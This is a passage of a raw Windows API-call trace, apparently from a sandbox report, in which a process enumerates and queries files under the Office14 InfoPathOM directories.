Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.147] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.147] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.147] NtClose (Handle=0x178) returned 0x0 [0079.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dda38) returned 1 [0079.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddb40 [0079.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0079.150] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.150] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="")) returned 1 [0079.150] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddc48 [0079.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c96e0 [0079.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddd50 [0079.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.152] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.152] GetLastError () returned 0x12 [0079.152] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.152] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.152] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.152] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="")) returned 1 [0079.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dde58 [0079.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.154] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.154] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.154] NtClose (Handle=0x178) returned 0x0 [0079.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dde58) returned 1 [0079.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dde58 [0079.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddf60 [0079.155] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0079.155] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.155] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.156] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11de068 [0079.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa04ba8 [0079.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11de068) returned 1 [0079.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9700 [0079.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d4970 [0079.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.157] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.157] GetLastError () returned 0x12 [0079.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.157] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.157] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.157] GetLastError () returned 0x12 [0079.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddf60) returned 1 [0079.157] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04ba8) returned 1 [0079.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dde58) returned 1 [0079.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.158] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.158] GetLastError () returned 0x12 [0079.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddb40) returned 1 [0079.158] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddc48) returned 1 [0079.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dda38) returned 1 [0079.158] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="")) returned 1 [0079.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.159] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.159] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.159] NtClose (Handle=0x164) returned 0x0 [0079.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dda38) returned 1 [0079.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddc48 [0079.160] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.160] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.160] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.161] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ddb40 [0079.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 